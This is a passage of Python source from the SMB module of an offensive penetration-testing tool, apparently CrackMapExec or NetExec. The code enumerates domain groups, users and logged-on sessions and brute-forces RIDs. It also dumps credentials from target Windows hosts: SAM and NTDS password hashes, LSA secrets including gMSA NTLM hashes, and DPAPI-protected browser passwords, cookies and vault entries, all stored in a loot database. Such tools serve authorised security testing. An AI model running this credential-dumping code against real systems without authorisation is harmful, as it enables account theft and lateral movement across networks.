self.logger.highlight(f"{domain.upper()}\\{name}")
|
|
try:
|
|
group_id = self.db.get_groups(
|
|
group_name=self.args.local_groups,
|
|
group_domain=domain,
|
|
)[
|
|
0
|
|
][0]
|
|
except IndexError:
|
|
group_id = self.db.add_group(
|
|
domain,
|
|
self.args.local_groups,
|
|
member_count_ad=group.membercount,
|
|
)[0]
|
|
|
|
# yo dawg, I hear you like groups.
|
|
# So I put a domain group as a member of a local group which is also a member of another local group.
|
|
# (╯°□°）╯︵ ┻━┻
|
|
if not group.isgroup:
|
|
self.db.add_credential("plaintext", domain, name, "", group_id, "")
|
|
elif group.isgroup:
|
|
self.db.add_group(domain, name, member_count_ad=group.membercount)
|
|
break
|
|
except Exception as e:
|
|
self.logger.fail(f"Error enumerating local groups of {self.host}: {e}")
|
|
self.logger.display("Trying with SAMRPC protocol")
|
|
groups = SamrFunc(self).get_local_groups()
|
|
if groups:
|
|
self.logger.success("Enumerated local groups")
|
|
self.logger.debug(f"Local groups: {groups}")
|
|
|
|
for group_name, group_rid in groups.items():
|
|
self.logger.highlight(f"rid => {group_rid} => {group_name}")
|
|
group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0]
|
|
self.logger.debug(f"Added group, returned id: {group_id}")
|
|
return groups
|
|
|
|
def domainfromdsn(self, dsn):
|
|
dsnparts = dsn.split(",")
|
|
domain = ""
|
|
for part in dsnparts:
|
|
k, v = part.split("=")
|
|
if k == "DC":
|
|
if domain == "":
|
|
domain = v
|
|
else:
|
|
domain = domain + "." + v
|
|
return domain
|
|
|
|
def domainfromdnshostname(self, dns):
|
|
dnsparts = dns.split(".")
|
|
domain = ".".join(dnsparts[1:])
|
|
return domain, dnsparts[0] + "$"
|
|
|
|
def groups(self):
|
|
groups = []
|
|
for dc_ip in self.get_dc_ips():
|
|
if self.args.groups:
|
|
try:
|
|
groups = get_netgroupmember(
|
|
dc_ip,
|
|
self.domain,
|
|
self.username,
|
|
password=self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
queried_groupname=self.args.groups,
|
|
queried_sid=str(),
|
|
queried_domain=str(),
|
|
ads_path=str(),
|
|
recurse=False,
|
|
use_matching_rule=False,
|
|
full_data=False,
|
|
custom_filter=str(),
|
|
)
|
|
|
|
self.logger.success("Enumerated members of domain group")
|
|
for group in groups:
|
|
member_count = len(group.member) if hasattr(group, "member") else 0
|
|
self.logger.highlight(f"{group.memberdomain}\\{group.membername}")
|
|
try:
|
|
group_id = self.db.get_groups(
|
|
group_name=self.args.groups,
|
|
group_domain=group.groupdomain,
|
|
)[
|
|
0
|
|
][0]
|
|
except IndexError:
|
|
group_id = self.db.add_group(
|
|
group.groupdomain,
|
|
self.args.groups,
|
|
member_count_ad=member_count,
|
|
)[0]
|
|
if not group.isgroup:
|
|
self.db.add_credential(
|
|
"plaintext",
|
|
group.memberdomain,
|
|
group.membername,
|
|
"",
|
|
group_id,
|
|
"",
|
|
)
|
|
elif group.isgroup:
|
|
group_id = self.db.add_group(
|
|
group.groupdomain,
|
|
group.groupname,
|
|
member_count_ad=member_count,
|
|
)[0]
|
|
break
|
|
except Exception as e:
|
|
self.logger.fail(f"Error enumerating domain group members using dc ip {dc_ip}: {e}")
|
|
else:
|
|
try:
|
|
groups = get_netgroup(
|
|
dc_ip,
|
|
self.domain,
|
|
self.username,
|
|
password=self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
queried_groupname=str(),
|
|
queried_sid=str(),
|
|
queried_username=str(),
|
|
queried_domain=str(),
|
|
ads_path=str(),
|
|
admin_count=False,
|
|
full_data=True,
|
|
custom_filter=str(),
|
|
)
|
|
|
|
self.logger.success("Enumerated domain group(s)")
|
|
for group in groups:
|
|
member_count = len(group.member) if hasattr(group, "member") else 0
|
|
self.logger.highlight(f"{group.samaccountname:<40} membercount: {member_count}")
|
|
|
|
if bool(group.isgroup) is True:
|
|
# Since there isn't a groupmember attribute on the returned object from get_netgroup
|
|
# we grab it from the distinguished name
|
|
domain = self.domainfromdsn(group.distinguishedname)
|
|
group_id = self.db.add_group(
|
|
domain,
|
|
group.samaccountname,
|
|
member_count_ad=member_count,
|
|
)[0]
|
|
break
|
|
except Exception as e:
|
|
self.logger.fail(f"Error enumerating domain group using dc ip {dc_ip}: {e}")
|
|
return groups
|
|
|
|
def users(self):
|
|
self.logger.display("Trying to dump local users with SAMRPC protocol")
|
|
users = UserSamrDump(self).dump()
|
|
return users
|
|
|
|
def hosts(self):
|
|
hosts = []
|
|
for dc_ip in self.get_dc_ips():
|
|
try:
|
|
hosts = get_netcomputer(
|
|
dc_ip,
|
|
self.domain,
|
|
self.username,
|
|
password=self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
queried_domain="",
|
|
ads_path=str(),
|
|
custom_filter=str(),
|
|
)
|
|
|
|
self.logger.success("Enumerated domain computer(s)")
|
|
for hosts in hosts:
|
|
domain, host_clean = self.domainfromdnshostname(hosts.dnshostname)
|
|
self.logger.highlight(f"{domain}\\{host_clean:<30}")
|
|
break
|
|
except Exception as e:
|
|
self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
|
|
break
|
|
return hosts
|
|
|
|
def loggedon_users(self):
|
|
logged_on = []
|
|
try:
|
|
logged_on = get_netloggedon(
|
|
self.host,
|
|
self.domain,
|
|
self.username,
|
|
self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
)
|
|
self.logger.success("Enumerated logged_on users")
|
|
if self.args.loggedon_users_filter:
|
|
for user in logged_on:
|
|
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
|
|
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
|
else:
|
|
for user in logged_on:
|
|
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
|
except Exception as e:
|
|
self.logger.fail(f"Error enumerating logged on users: {e}")
|
|
return logged_on
|
|
|
|
def pass_pol(self):
|
|
return PassPolDump(self).dump()
|
|
|
|
@requires_admin
|
|
def wmi(self, wmi_query=None, namespace=None):
|
|
records = []
|
|
if not wmi_query:
|
|
wmi_query = self.args.wmi.strip('\n')
|
|
|
|
if not namespace:
|
|
namespace = self.args.wmi_namespace
|
|
|
|
try:
|
|
dcom = DCOMConnection(
|
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.lmhash,
|
|
self.nthash,
|
|
oxidResolver=True,
|
|
doKerberos=self.kerberos,
|
|
kdcHost=self.kdcHost,
|
|
aesKey=self.aesKey
|
|
)
|
|
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login,IID_IWbemLevel1Login)
|
|
flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
|
|
if not flag or not stringBinding:
|
|
error_msg = f'WMI Query: Dcom initialization failed on connection with stringbinding: "{stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
|
|
|
if not stringBinding:
|
|
error_msg = "WMI Query: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again"
|
|
|
|
self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg)
|
|
# Make it force break function
|
|
dcom.disconnect()
|
|
iWbemLevel1Login = IWbemLevel1Login(iInterface)
|
|
iWbemServices= iWbemLevel1Login.NTLMLogin(namespace , NULL, NULL)
|
|
iWbemLevel1Login.RemRelease()
|
|
iEnumWbemClassObject = iWbemServices.ExecQuery(wmi_query)
|
|
except Exception as e:
|
|
self.logger.fail('Execute WQL error: {}'.format(e))
|
|
if "iWbemLevel1Login" in locals():
|
|
dcom.disconnect()
|
|
else:
|
|
self.logger.info(f"Executing WQL syntax: {wmi_query}")
|
|
while True:
|
|
try:
|
|
wmi_results = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
|
record = wmi_results.getProperties()
|
|
records.append(record)
|
|
for k,v in record.items():
|
|
self.logger.highlight(f"{k} => {v['value']}")
|
|
except Exception as e:
|
|
if str(e).find('S_FALSE') < 0:
|
|
raise e
|
|
else:
|
|
break
|
|
dcom.disconnect()
|
|
return records if records else False
|
|
|
|
def spider(
|
|
self,
|
|
share=None,
|
|
folder=".",
|
|
pattern=[],
|
|
regex=[],
|
|
exclude_dirs=[],
|
|
depth=None,
|
|
content=False,
|
|
only_files=True,
|
|
):
|
|
spider = SMBSpider(self.conn, self.logger)
|
|
|
|
self.logger.display("Started spidering")
|
|
start_time = time()
|
|
if not share:
|
|
spider.spider(
|
|
self.args.spider,
|
|
self.args.spider_folder,
|
|
self.args.pattern,
|
|
self.args.regex,
|
|
self.args.exclude_dirs,
|
|
self.args.depth,
|
|
self.args.content,
|
|
self.args.only_files,
|
|
)
|
|
else:
|
|
spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files)
|
|
|
|
self.logger.display(f"Done spidering (Completed in {time() - start_time})")
|
|
|
|
return spider.results
|
|
|
|
def rid_brute(self, max_rid=None):
|
|
entries = []
|
|
if not max_rid:
|
|
max_rid = int(self.args.rid_brute)
|
|
|
|
KNOWN_PROTOCOLS = {
|
|
135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
|
|
139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
|
|
445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
|
|
}
|
|
|
|
try:
|
|
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
|
|
string_binding = KNOWN_PROTOCOLS[self.args.port]["bindstr"]
|
|
logging.debug(f"StringBinding {string_binding}")
|
|
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
|
rpc_transport.set_dport(self.args.port)
|
|
|
|
if KNOWN_PROTOCOLS[self.args.port]["set_host"]:
|
|
rpc_transport.setRemoteHost(full_hostname)
|
|
|
|
if hasattr(rpc_transport, "set_credentials"):
|
|
# This method exists only for selected protocol sequences.
|
|
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
|
|
|
if self.kerberos:
|
|
rpc_transport.set_kerberos(self.kerberos, self.kdcHost)
|
|
|
|
dce = rpc_transport.get_dce_rpc()
|
|
if self.kerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.logger.fail(f"Error creating DCERPC connection: {e}")
|
|
return entries
|
|
|
|
# Want encryption? Uncomment next line
|
|
# But make simultaneous variable <= 100
|
|
# dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
|
|
|
# Want fragmentation? Uncomment next line
|
|
# dce.set_max_fragment_size(32)
|
|
|
|
dce.bind(lsat.MSRPC_UUID_LSAT)
|
|
try:
|
|
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
|
|
except lsad.DCERPCSessionError as e:
|
|
self.logger.fail(f"Error connecting: {e}")
|
|
return entries
|
|
|
|
policy_handle = resp["PolicyHandle"]
|
|
|
|
resp = lsad.hLsarQueryInformationPolicy2(
|
|
dce,
|
|
policy_handle,
|
|
lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation,
|
|
)
|
|
domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical()
|
|
|
|
so_far = 0
|
|
simultaneous = 1000
|
|
for j in range(max_rid // simultaneous + 1):
|
|
if (max_rid - so_far) // simultaneous == 0:
|
|
sids_to_check = (max_rid - so_far) % simultaneous
|
|
else:
|
|
sids_to_check = simultaneous
|
|
|
|
if sids_to_check == 0:
|
|
break
|
|
|
|
sids = list()
|
|
for i in range(so_far, so_far + sids_to_check):
|
|
sids.append(f"{domain_sid}-{i:d}")
|
|
try:
|
|
lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
|
except DCERPCException as e:
|
|
if str(e).find("STATUS_NONE_MAPPED") >= 0:
|
|
so_far += simultaneous
|
|
continue
|
|
elif str(e).find("STATUS_SOME_NOT_MAPPED") >= 0:
|
|
resp = e.get_packet()
|
|
else:
|
|
raise
|
|
|
|
for n, item in enumerate(resp["TranslatedNames"]["Names"]):
|
|
if item["Use"] != SID_NAME_USE.SidTypeUnknown:
|
|
rid = so_far + n
|
|
domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"]
|
|
user = item["Name"]
|
|
sid_type = SID_NAME_USE.enumItems(item["Use"]).name
|
|
self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})")
|
|
entries.append(
|
|
{
|
|
"rid": rid,
|
|
"domain": domain,
|
|
"username": user,
|
|
"sidtype": sid_type,
|
|
}
|
|
)
|
|
so_far += simultaneous
|
|
dce.disconnect()
|
|
return entries
|
|
|
|
def put_file(self):
|
|
self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
|
|
with open(self.args.put_file[0], "rb") as file:
|
|
try:
|
|
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
|
|
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
|
|
except Exception as e:
|
|
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
|
|
|
|
def get_file(self):
|
|
share_name = self.args.share
|
|
remote_path = self.args.get_file[0]
|
|
download_path = self.args.get_file[1]
|
|
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
|
|
if self.args.append_host:
|
|
download_path = f"{self.hostname}-{remote_path}"
|
|
with open(download_path, "wb+") as file:
|
|
try:
|
|
self.conn.getFile(share_name, remote_path, file.write)
|
|
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
|
|
except Exception as e:
|
|
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
|
|
if os.path.getsize(download_path) == 0:
|
|
os.remove(download_path)
|
|
|
|
def enable_remoteops(self):
|
|
if self.remote_ops is not None and self.bootkey is not None:
|
|
return
|
|
try:
|
|
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
|
|
self.remote_ops.enableRegistry()
|
|
self.bootkey = self.remote_ops.getBootKey()
|
|
except Exception as e:
|
|
self.logger.fail(f"RemoteOperations failed: {e}")
|
|
|
|
@requires_admin
|
|
def sam(self):
|
|
try:
|
|
self.enable_remoteops()
|
|
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
|
|
|
def add_sam_hash(sam_hash, host_id):
|
|
add_sam_hash.sam_hashes += 1
|
|
self.logger.highlight(sam_hash)
|
|
username, _, lmhash, nthash, _, _, _ = sam_hash.split(":")
|
|
self.db.add_credential(
|
|
"hash",
|
|
self.hostname,
|
|
username,
|
|
":".join((lmhash, nthash)),
|
|
pillaged_from=host_id,
|
|
)
|
|
|
|
add_sam_hash.sam_hashes = 0
|
|
|
|
if self.remote_ops and self.bootkey:
|
|
SAM_file_name = self.remote_ops.saveSAM()
|
|
SAM = SAMHashes(
|
|
SAM_file_name,
|
|
self.bootkey,
|
|
isRemote=True,
|
|
perSecretCallback=lambda secret: add_sam_hash(secret, host_id),
|
|
)
|
|
|
|
self.logger.display("Dumping SAM hashes")
|
|
SAM.dump()
|
|
SAM.export(self.output_filename)
|
|
self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database")
|
|
|
|
try:
|
|
self.remote_ops.finish()
|
|
except Exception as e:
|
|
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
|
|
SAM.finish()
|
|
except SessionError as e:
|
|
if "STATUS_ACCESS_DENIED" in e.getErrorString():
|
|
self.logger.fail("Error \"STATUS_ACCESS_DENIED\" while dumping SAM. This is likely due to an endpoint protection.")
|
|
except Exception as e:
|
|
self.logger.exception(str(e))
|
|
|
|
@requires_admin
|
|
def dpapi(self):
|
|
dump_system = False if "nosystem" in self.args.dpapi else True
|
|
logging.getLogger("dploot").disabled = True
|
|
|
|
if self.args.pvk is not None:
|
|
try:
|
|
self.pvkbytes = open(self.args.pvk, "rb").read()
|
|
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
|
|
except Exception as e:
|
|
self.logger.fail(str(e))
|
|
|
|
masterkeys = []
|
|
if self.args.mkfile is not None:
|
|
try:
|
|
masterkeys += parse_masterkey_file(self.args.mkfile)
|
|
except Exception as e:
|
|
self.logger.fail(str(e))
|
|
|
|
if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False:
|
|
try:
|
|
results = self.db.get_domain_backupkey(self.domain)
|
|
except:
|
|
self.logger.fail(
|
|
"Your version of CMEDB is not up to date, run cmedb and create a new workspace: \
|
|
'workspace create dpapi' then re-run the dpapi option"
|
|
)
|
|
return False
|
|
if len(results) > 0:
|
|
self.logger.success("Loading domain backupkey from cmedb...")
|
|
self.pvkbytes = results[0][2]
|
|
else:
|
|
try:
|
|
dc_target = Target.create(
|
|
domain=self.domain,
|
|
username=self.username,
|
|
password=self.password,
|
|
target=self.domain, # querying DNS server for domain will return DC
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
do_kerberos=self.kerberos,
|
|
aesKey=self.aesKey,
|
|
no_pass=True,
|
|
use_kcache=self.use_kcache,
|
|
)
|
|
dc_conn = DPLootSMBConnection(dc_target)
|
|
dc_conn.connect() # Connect to DC
|
|
if dc_conn.is_admin():
|
|
self.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
|
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
|
backupkey = backupkey_triage.triage_backupkey()
|
|
self.pvkbytes = backupkey.backupkey_v2
|
|
self.db.add_domain_backupkey(self.domain, self.pvkbytes)
|
|
else:
|
|
self.no_da = False
|
|
except Exception as e:
|
|
self.logger.fail(f"Could not get domain backupkey: {e}")
|
|
pass
|
|
|
|
target = Target.create(
|
|
domain=self.domain,
|
|
username=self.username,
|
|
password=self.password,
|
|
target=self.hostname + "." + self.domain if self.kerberos else self.host,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
do_kerberos=self.kerberos,
|
|
aesKey=self.aesKey,
|
|
no_pass=True,
|
|
use_kcache=self.use_kcache,
|
|
)
|
|
|
|
try:
|
|
conn = DPLootSMBConnection(target)
|
|
conn.smb_session = self.conn
|
|
except Exception as e:
|
|
self.logger.debug(f"Could not upgrade connection: {e}")
|
|
return
|
|
|
|
plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")}
|
|
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")}
|
|
if self.password != "":
|
|
plaintexts[self.username] = self.password
|
|
if self.nthash != "":
|
|
nthashes[self.username] = self.nthash
|
|
|
|
# Collect User and Machine masterkeys
|
|
try:
|
|
self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...")
|
|
masterkeys_triage = MasterkeysTriage(
|
|
target=target,
|
|
conn=conn,
|
|
pvkbytes=self.pvkbytes,
|
|
passwords=plaintexts,
|
|
nthashes=nthashes,
|
|
)
|
|
self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
|
masterkeys += masterkeys_triage.triage_masterkeys()
|
|
if dump_system:
|
|
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
|
except Exception as e:
|
|
self.logger.debug(f"Could not get masterkeys: {e}")
|
|
|
|
if len(masterkeys) == 0:
|
|
self.logger.fail("No masterkeys looted")
|
|
return
|
|
|
|
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
|
|
|
credentials = []
|
|
system_credentials = []
|
|
try:
|
|
# Collect User and Machine Credentials Manager secrets
|
|
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
|
credentials = credentials_triage.triage_credentials()
|
|
self.logger.debug(f"Triaged Credentials: {credentials}")
|
|
if dump_system:
|
|
system_credentials = credentials_triage.triage_system_credentials()
|
|
self.logger.debug(f"Triaged System Credentials: {system_credentials}")
|
|
except Exception as e:
|
|
self.logger.debug(f"Error while looting credentials: {e}")
|
|
|
|
for credential in credentials:
|
|
self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}")
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
"CREDENTIAL",
|
|
credential.winuser,
|
|
credential.username,
|
|
credential.password,
|
|
credential.target,
|
|
)
|
|
for credential in system_credentials:
|
|
self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}")
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
"CREDENTIAL",
|
|
"SYSTEM",
|
|
credential.username,
|
|
credential.password,
|
|
credential.target,
|
|
)
|
|
|
|
browser_credentials = []
|
|
cookies = []
|
|
try:
|
|
# Collect Chrome Based Browser stored secrets
|
|
dump_cookies = True if "cookies" in self.args.dpapi else False
|
|
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies)
|
|
except Exception as e:
|
|
self.logger.debug(f"Error while looting browsers: {e}")
|
|
for credential in browser_credentials:
|
|
cred_url = credential.url + " -" if credential.url != "" else "-"
|
|
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
credential.browser.upper(),
|
|
credential.winuser,
|
|
credential.username,
|
|
credential.password,
|
|
credential.url,
|
|
)
|
|
|
|
if dump_cookies:
|
|
self.logger.display("Start Dumping Cookies")
|
|
for cookie in cookies:
|
|
if cookie.cookie_value != '':
|
|
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
|
|
self.logger.display("End Dumping Cookies")
|
|
|
|
vaults = []
|
|
try:
|
|
# Collect User Internet Explorer stored secrets
|
|
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
vaults = vaults_triage.triage_vaults()
|
|
except Exception as e:
|
|
self.logger.debug(f"Error while looting vaults: {e}")
|
|
for vault in vaults:
|
|
if vault.type == "Internet Explorer":
|
|
resource = vault.resource + " -" if vault.resource != "" else "-"
|
|
self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}")
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
"IEX",
|
|
vault.winuser,
|
|
vault.username,
|
|
vault.password,
|
|
vault.resource,
|
|
)
|
|
|
|
firefox_credentials = []
|
|
try:
|
|
# Collect Firefox stored secrets
|
|
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn)
|
|
firefox_credentials = firefox_triage.run()
|
|
except Exception as e:
|
|
self.logger.debug(f"Error while looting firefox: {e}")
|
|
for credential in firefox_credentials:
|
|
url = credential.url + " -" if credential.url != "" else "-"
|
|
self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}")
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
"FIREFOX",
|
|
credential.winuser,
|
|
credential.username,
|
|
credential.password,
|
|
credential.url,
|
|
)
|
|
|
|
@requires_admin
|
|
def lsa(self):
|
|
try:
|
|
self.enable_remoteops()
|
|
|
|
def add_lsa_secret(secret):
|
|
add_lsa_secret.secrets += 1
|
|
self.logger.highlight(secret)
|
|
if "_SC_GMSA_{84A78B8C" in secret:
|
|
gmsa_id = secret.split("_")[4].split(":")[0]
|
|
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
|
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
|
blob.fromString(data)
|
|
currentPassword = blob["CurrentPassword"][:-2]
|
|
ntlm_hash = MD4.new()
|
|
ntlm_hash.update(currentPassword)
|
|
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
|
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
|
|
|
add_lsa_secret.secrets = 0
|
|
|
|
if self.remote_ops and self.bootkey:
|
|
SECURITYFileName = self.remote_ops.saveSECURITY()
|
|
LSA = LSASecrets(
|
|
SECURITYFileName,
|
|
self.bootkey,
|
|
self.remote_ops,
|
|
isRemote=True,
|
|
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
|
)
|
|
self.logger.success("Dumping LSA secrets")
|
|
LSA.dumpCachedHashes()
|
|
LSA.exportCached(self.output_filename)
|
|
LSA.dumpSecrets()
|
|
LSA.exportSecrets(self.output_filename)
|
|
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
|
try:
|
|
self.remote_ops.finish()
|
|
except Exception as e:
|
|
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
|
|
LSA.finish()
|
|
except SessionError as e:
|
|
if "STATUS_ACCESS_DENIED" in e.getErrorString():
|
|
self.logger.fail("Error \"STATUS_ACCESS_DENIED\" while dumping LSA. This is likely due to an endpoint protection.")
|
|
except Exception as e:
|
|
self.logger.exception(str(e))
|
|
|
|
def ntds(self):
|
|
self.enable_remoteops()
|
|
use_vss_method = False
|
|
NTDSFileName = None
|
|
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
|
|
|
def add_ntds_hash(ntds_hash, host_id):
|
|
add_ntds_hash.ntds_hashes += 1
|
|
if self.args.enabled:
|
|
if "Enabled" in ntds_hash:
|
|
ntds_hash = ntds_hash.split(" ")[0]
|
|
self.logger.highlight(ntds_hash)
|
|
else:
|
|
ntds_hash = ntds_hash.split(" ")[0]
|
|
self.logger.highlight(ntds_hash)
|
|
if ntds_hash.find("$") == -1:
|
|
if ntds_hash.find("\\") != -1:
|
|
domain, hash = ntds_hash.split("\\")
|
|
else:
|
|
domain = self.domain
|
|
hash = ntds_hash
|
|
|
|
try:
|
|
username, _, lmhash, nthash, _, _, _ = hash.split(":")
|
|
parsed_hash = ":".join((lmhash, nthash))
|
|
if validate_ntlm(parsed_hash):
|
|
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
|
add_ntds_hash.added_to_db += 1
|
|
return
|
|
raise
|
|
except:
|
|
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
|
else:
|
|
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
|
|
|
add_ntds_hash.ntds_hashes = 0
|
|
add_ntds_hash.added_to_db = 0
|
|
|
|
if self.remote_ops:
|
|
try:
|
|
if self.args.ntds == "vss":
|
|
NTDSFileName = self.remote_ops.saveNTDS()
|
|
use_vss_method = True
|
|
|
|
except Exception as e:
|
|
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
|
# We don't store the resume file if this error happened, since this error is related to lack
|
|
# of enough privileges to access DRSUAPI.
|
|
# resumeFile = NTDS.getResumeSessionFile()
|
|
# if resumeFile is not None:
|
|
# os.unlink(resumeFile)
|
|
self.logger.fail(e)
|
|
|
|
NTDS = NTDSHashes(
|
|
NTDSFileName,
|
|
self.bootkey,
|
|
isRemote=True,
|
|
history=False,
|
|
noLMHash=True,
|
|
remoteOps=self.remote_ops,
|
|
useVSSMethod=use_vss_method,
|
|
justNTLM=True,
|
|
pwdLastSet=False,
|
|
resumeSession=None,
|
|
outputFileName=self.output_filename,
|
|
justUser=self.args.userntds if self.args.userntds else None,
|
|
printUserStatus=True,
|
|
perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id),
|
|
)
|
|
|
|
try:
|
|
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
|
NTDS.dump()
|
|
ntds_outfile = f"{self.output_filename}.ntds"
|
|
self.logger.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {ntds_outfile} of which {highlight(add_ntds_hash.added_to_db)} were added to the database")
|
|
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
|
self.logger.display(f"cat {ntds_outfile} | grep -iv disabled | cut -d ':' -f1")
|
|
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
|
except Exception as e:
|
|
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
|
# We don't store the resume file if this error happened, since this error is related to lack
|
|
# of enough privileges to access DRSUAPI.
|
|
# resumeFile = NTDS.getResumeSessionFile()
|
|
# if resumeFile is not None:
|
|
# os.unlink(resumeFile)
|
|
self.logger.fail(e)
|
|
try:
|
|
self.remote_ops.finish()
|
|
except Exception as e:
|
|
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
|
|
NTDS.finish()
|